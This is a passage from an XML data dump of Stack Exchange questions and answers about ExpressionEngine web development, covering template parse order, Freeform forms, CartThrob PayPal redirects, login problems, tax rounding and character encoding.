Tens&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='gaytravel-guru'}&quot;&amp;gt;Guru&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;ul class=&quot;guru&quot;&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;first-child&quot; href=&quot;{path='gaytravel-guru'}&quot;&amp;gt;About the Guru&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='gaytravel-guru/sponsors'}&quot;&amp;gt;About Our Sponsors&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;last-child&quot; href=&quot;{path='gaytravel-guru/season-3-signup'}&quot;&amp;gt;Signup to Be Our Season 3 Guru!&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a class=&quot;last&quot; href=&quot;{path='gay-blog'}&quot;&amp;gt;Blog&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;ul class=&quot;blog&quot;&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;first-child&quot; href=&quot;#&quot;&amp;gt;Davey Wavey&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Carlos Melia&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Event Spotlight&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Videos We Love&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;last-child&quot; href=&quot;#&quot;&amp;gt;GayTravel Guru&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/nav&amp;gt;&#xA;                &amp;lt;form action=&quot;&quot; class=&quot;destination-search&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;destination-input&quot;&amp;gt;Where do you want to travel to?&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;destination-input&quot; /&amp;gt;&#xA;                &amp;lt;/form&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;&#xA;    {exp:stash:get name='maincontent'}&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;signup-cta-footer&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;inner-spacer&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Know before you go!&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;div class=&quot;float-left&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;Meet up with other gay travelers all around the globe.&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;div class=&quot;column-collapse&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Explore videos, photos, travel tips, maps and top Gay Destinations.&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Create your profile and make friends around the world.&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Meet like-minded travelers who share your interests.&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Post your stories and share your travel tips with others.&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Browse our events and find the most reliable information about the best gay events around the globe.&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;a class=&quot;button&quot; href=&quot;#&quot;&amp;gt;Sign Up Now, It’s Free!&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;advertisement square&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;ad-cta&quot;&amp;gt;Advertisement &amp;lt;a href=&quot;#&quot;&amp;gt;Put your ad here.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;div class=&quot;ad&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;site-search-footer&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;inner-spacer&quot;&amp;gt;&#xA;                &amp;lt;nav class=&quot;page-column&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;About Us&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Company News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Careers&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Media Partners&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Partnerships&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Advertising&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/nav&amp;gt;&#xA;                &amp;lt;nav class=&quot;page-column&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;Community&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Member Profiles&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Newsletter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;RSS Feeds&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Sponsorships&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Charities&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Gay Travel Awards&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Gay Travel Associations&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/nav&amp;gt;&#xA;                &amp;lt;nav class=&quot;page-column&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;Explore&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Gay Guides&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Events&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;Plan&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Hotels&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Cruises&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Tours&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/nav&amp;gt;&#xA;                &amp;lt;nav class=&quot;page-column&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;Meet&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Profiles&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Travel Experts&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Blog&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Guru&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/nav&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;footer&amp;gt;&#xA;            &amp;lt;div class=&quot;inner-spacer&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;contact-info&quot;&amp;gt;&#xA;                    &amp;lt;h4 class=&quot;phone-number&quot;&amp;gt;1-800 GAYTRAVEL &amp;lt;span&amp;gt;1-800-429-8728 (702-560-5073)&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;nav class=&quot;social-icons&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;Find us on:&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;ul&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a class=&quot;twitter&quot; href=&quot;#&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a class=&quot;facebook&quot; href=&quot;#&quot;&amp;gt;Facebook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a class=&quot;youtube&quot; href=&quot;#&quot;&amp;gt;Youtube&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/nav&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            if (typeof jQuery == 'undefined') {&#xA;                document.write(unescape(&quot;%3Cscript src='assets/js/jquery-1.9.1.min.js' type='text/javascript'%3E%3C/script%3E&quot;));&#xA;            }&#xA;        &amp;lt;/script&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot; src=&quot;/assets/js/jquery.flexisel.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script src=&quot;/assets/js/responsiveslides.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script src=&quot;/assets/js/jquery.magnific-popup.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        {exp:stash:get name='scripts'}&#xA;        &amp;lt;script src=&quot;/assets/js/script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there other parameters I’m missing? I had assumed parse_depth would have solved my problem, but it seems that on a detail page, it doesn’t matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly enough, though the rest of the page renders as normal with early parsing turned on, there's an extra &lt;code&gt;{/exp:channel:entries}&lt;/code&gt; tag at the bottom; removing the Low Variable causes everything to snap back into place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve gone through the suggestions so far, and setting the Low Variable element to parse in the regular flow and not early causes it to not parse the code at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all!&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="34" LastEditDate="2013-08-09T00:43:07.603" LastActivityDate="2013-08-09T00:43:07.603" Title="Parsing Channel Entry inside of Low Variable inside of Stash Set" Tags="|channel-entries|stash|low-variables|parse-order|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12327" PostTypeId="2" ParentId="12326" CreationDate="2013-07-29T13:07:19.067" Score="2" Body="&lt;p&gt;Try &lt;code&gt;{exp:low_variables:parse var=&quot;lv_sidebar_featured_members&quot;}&lt;/code&gt; instead of  &lt;code&gt;{lv_sidebar_featured_members}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-07-29T13:07:19.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12330" PostTypeId="1" CreationDate="2013-07-29T14:06:55.217" Score="0" ViewCount="215" Body="&lt;p&gt;I am using in the below code, and it is &lt;strong&gt;not&lt;/strong&gt; returning anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;php is allowed on my template &lt;/li&gt;&#xA;&lt;li&gt;parsing is set on output.&lt;/li&gt;&#xA;&lt;li&gt;the '[FETCH ENTRY ID]' does not return my entry id (I can put in the ee tag &lt;code&gt;{entry_id}&lt;/code&gt;, but than it only returns one entry_id. I think I need it to stay in php without any ee tags at this point.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All ideas any welcome!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;property&quot; category_group=&quot;4&quot;}&#xA;&amp;lt;?php&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $entry_id = '[FETCH ENTRY ID]';&#xA;    $res = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('c.cat_name')&#xA;                    -&amp;gt;from('categories c')&#xA;                    -&amp;gt;join('category_posts cp', 'cp.cat_id = c.cat_id')&#xA;                    -&amp;gt;join('channel_titles ct', 'c.entry_id = cp.entry_id')&#xA;                    -&amp;gt;where('c.group_id', 4)&#xA;                    -&amp;gt;where('ct.entry_id', $entry_id)&#xA;                    -&amp;gt;result_array();&#xA;?&amp;gt;&#xA;{exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2013-07-30T13:32:32.433" Title="using JOIN in a db select statement not returning my array" Tags="|php|parse-order|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12331" PostTypeId="1" CreationDate="2013-07-29T14:50:05.977" Score="1" ViewCount="485" Body="&lt;p&gt;Would there be any reason why my 3 Freeform forms wouldn't do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Notify Admin&lt;/li&gt;&#xA;&lt;li&gt;Save submission at all&lt;/li&gt;&#xA;&lt;li&gt;fields in submission are empty&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Below is my Freeform code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    form_id=&quot;4&quot;&#xA;    form:class=&quot;contact-form&quot;&#xA;    form:id=&quot;contact-form&quot;&#xA;    required=&quot;full_name|email&quot;&#xA;    return=&quot;focusform3/results/%%entry_id%%&quot;&#xA;    notify_admin=&quot;yes&quot;&#xA;    admin_notify=&quot;ADMINS EMAIL ADDRESS&quot; &#xA;    admin_notification_template=&quot;focus_form_3&quot;&#xA;    notify_user=&quot;yes&quot;&#xA;    user_email_field=&quot;email&quot;&#xA;    user_notification_template=&quot;focus_form_3&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each of the 3 forms has 11 fields and are exactly the same just the form and admin email is different per form.  Each form has the same notification template layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested each form twice.  Each time with a different email address for admin.  made sure this email was also updated in the form, form notification and the form code in the template.  Each time it worked as it should.  Client however tested each form and either her submission didnt save, was incomplete with empty fields when she filled out all fields and at times didnt receive an admin email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE install is the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;MSM 2.1.3&lt;/li&gt;&#xA;&lt;li&gt;Freeform 4.0.10&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-08-29T21:27:22.043" Title="Freeform not working?" Tags="|multi-site-manager|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12333" PostTypeId="2" ParentId="12331" CreationDate="2013-07-29T15:18:36.107" Score="0" Body="&lt;p&gt;This won't be all the problems, but maybe the client needed to fill out a captcha and it wasn't included in the form so it didn't submit? Also, Solspace has their own forum and you might get better support thru that.&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-07-29T15:18:36.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12335" PostTypeId="2" ParentId="12330" CreationDate="2013-07-29T15:21:18.037" Score="1" Body="&lt;p&gt;Shouldn't the second join use ct instead of cp?&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-07-29T15:21:18.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12336" PostTypeId="2" ParentId="12326" CreationDate="2013-07-29T15:55:17.137" Score="2" Body="&lt;p&gt;Is &lt;code&gt;{lv_sidebar_featured_members}&lt;/code&gt; set to 'early parsed'? If it is, the problem could be that it contains a channel entries tag and you are nesting it inside another channel entries tag.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-07-29T15:55:17.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12337" PostTypeId="1" CreationDate="2013-07-29T17:50:23.710" Score="2" ViewCount="114" Body="&lt;p&gt;Clients are not being redirected to the return parameter on the checkout form on CartThrob on EE after sales completion from PayPal. Error states that &quot;the page isn't redirecting properly. Firefox has detected that the server is redirecting the request for this address in a way that will never complete. This problem can sometimes be caused by disabling or refusing to accept cookies&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not only happens to me while testing the cart, it also happens to actual customers.. Any help would be greatly appreciated..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks..&lt;/p&gt;&#xA;" OwnerUserId="1588" LastEditorUserId="268" LastEditDate="2013-07-30T09:05:50.727" LastActivityDate="2013-09-28T09:50:20.013" Title="ExpressionEngine with CartThrob Paypal return error" Tags="|add-on|cartthrob|paypal-express-checkout|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12338" PostTypeId="1" CreationDate="2013-07-29T18:33:05.237" Score="0" ViewCount="294" Body="&lt;p&gt;Yes, it's the dreaded unable to log-in issue. Been working fine - latest version EE - for a few weeks (new install) and suddenly today cannot log in. Stays on same page and gives error: &lt;strong&gt;Invalid username or password.&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried resetting password. Nada. Tried the usual fixes in the config file and also clearing cookies etc. No joy anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I think &lt;em&gt;might&lt;/em&gt; be relevant - this is a development site, the real site exists elsewhere under the intended domain. So obviously this one uses a temp domain/IP address and when is completed the idea is to just update the nameservers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect, but am not sure, that this is somehow coming into play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone encountered this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note&lt;/em&gt;&lt;/strong&gt;: Also in the days prior to this manifesting there was a different issue where after first login attempt nothing would happen, just refresh of page and clearing of fields. But on the second attempt it would allow login. Now it does not allow on any attempt. This has to be related no?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastEditorUserId="1100" LastEditDate="2015-06-30T20:03:05.490" LastActivityDate="2017-01-11T03:22:06.733" Title="Cannot log-in to CP" Tags="|control-panel|login|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12339" PostTypeId="2" ParentId="12040" CreationDate="2013-07-29T18:45:13.797" Score="1" Body="&lt;p&gt;This issue has been resolved via email but I'll provide a solution to anyone else who may have similar issues.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To answer your first problem with regards to the shipping rule, the problem here was that Store calculates tax on the tax-exclusive subtotal whereas you were displaying the subtotal &lt;strong&gt;including&lt;/strong&gt; tax: &lt;code&gt;{order_subtotal_inc_tax}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case with tax intended to be free on orders over €50 with the tax rate set at 19% you would use this formula to calculate what you should set your shipping rate too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;target shipping / (1 + tax rate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;50 / (1 + 0.19) = 42.0168&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your shipping rule should be set to €42.0168 to provide free shipping on orders over €50.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To answer your second question regarding rounding errors, that's not a bug but expected behaviour. If you &lt;strong&gt;include&lt;/strong&gt; tax in your product prices (shown on the front-end) then you need to set &quot;Round item prices after tax&quot; to Yes. If you &lt;strong&gt;don't include&lt;/strong&gt; tax in your item prices (displayed on the front-end) then you can set this to No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Round item prices after tax&quot; takes care of some special rounding if you are displaying tax-inclusive prices on the front end, so basically every time people are using the &lt;code&gt;{price_inc_tax}&lt;/code&gt; variables they should set &quot;round item prices after tax&quot; to Yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if tax rate is 10%, and your item is $20.00 exactly including tax, you would enter this as $18.18 in the CP. Now if a customer purchased one item, &lt;code&gt;{price_inc_tax}&lt;/code&gt; shows $20.00 which is fine. But if they purchased 10, ($18.18 x 10) * 1.1 = $199.98. If you were displaying prices including tax in the checkout, that would display as $20.00 x 10 = $199.98 which would definitely confuse your customer. &quot;Round item prices after tax&quot; means that Store will calculate round_to_2dp($18.18 * 1.1) * 10, or $20.00 * 10 = $200.00 which is what you would expect.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-29T18:45:13.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12340" PostTypeId="1" AcceptedAnswerId="12364" CreationDate="2013-07-29T19:23:28.117" Score="0" ViewCount="403" Body="&lt;p&gt;I know I can make collections and search one or more of them using Low Search. If I understand correctly, the results I get back will be ordered by relevance. But what if I have several channels that I want to show in different lists on the search results page? Is it possible to group the results by channel? Within each group I would still like the most relevant results first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify my intention, my results page would have a few headings like 'people', 'news' and 'pages'. The people section would present the found entries from the 'people' channel with their picture, email address etc. while the news and pages entries would have their own look as well.&lt;/p&gt;&#xA;" OwnerUserId="1831" LastActivityDate="2013-08-15T14:20:31.563" Title="Group Low Search results by channel/collection?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12341" PostTypeId="1" CreationDate="2013-07-29T19:28:02.327" Score="1" ViewCount="49" Body="&lt;p&gt;When a blog post has quotes or apostrophes in it &lt;em&gt;“like this”&lt;/em&gt; or when &lt;em&gt;it’s&lt;/em&gt; like &lt;em&gt;‘this,’&lt;/em&gt; the punctuation is replaced with characters like â€™s or â€™s. This is only in the blog/entry template. Everything works fine in the blog/index template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why? Both templates have the following code in the header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;meta charset=&quot;utf-8&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the site language is English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the blog/entry template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shorttext.com/xVwZkP&quot; rel=&quot;nofollow&quot;&gt;http://shorttext.com/xVwZkP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction? I haven’t found much documentation on this. Help?&lt;/p&gt;&#xA;" OwnerUserId="1832" LastActivityDate="2013-07-30T12:37:23.263" Title="Quotation marks not working - entries template" Tags="|ee2|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12342" PostTypeId="2" ParentId="12341" CreationDate="2013-07-29T22:35:20.547" Score="1" Body="&lt;p&gt;What is the encoding of the blog/entry template? Open it on a code editor and make sure it's a UTF-8 no BOM file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have access to the files by FTP, try... Well, I don't know if this will work. Let's try.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/synchronize_templates.html&quot; rel=&quot;nofollow&quot;&gt;Synchronize all files&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow&quot;&gt;Set &lt;em&gt;Allow templates as files&lt;/em&gt; to &lt;strong&gt;no&lt;/strong&gt;&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/templates.html&quot; rel=&quot;nofollow&quot;&gt;go to edit the template&lt;/a&gt; blog/entry;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/edit_template.html&quot; rel=&quot;nofollow&quot;&gt;cut its content from the editor&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;paste on a code editor program;&lt;/li&gt;&#xA;&lt;li&gt;convert its encoding to UTf-8 without BOM;&lt;/li&gt;&#xA;&lt;li&gt;cut the content from the editor;&lt;/li&gt;&#xA;&lt;li&gt;paste it back on the template editor of the CP.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-30T12:37:23.263" LastActivityDate="2013-07-30T12:37:23.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12343" PostTypeId="1" CreationDate="2013-07-30T00:15:38.203" Score="1" ViewCount="69" Body="&lt;p&gt;Ive read the EE documentation, and utilized other &quot;solutions&quot; for getting the forum to work at segment 2, but nothing seems to work - all result in a server error 500 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When set to default (forums) - works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When set to use template:  discussion/forum - and have the basic code in the template, nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE - 2.6.1&#xA;Discussion Forum 3.1.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HELP! - We need our forum to utilize EE modules!!!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2013-07-30T00:15:38.203" Title="Integrating forums into site templates?" Tags="|templates|forum|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
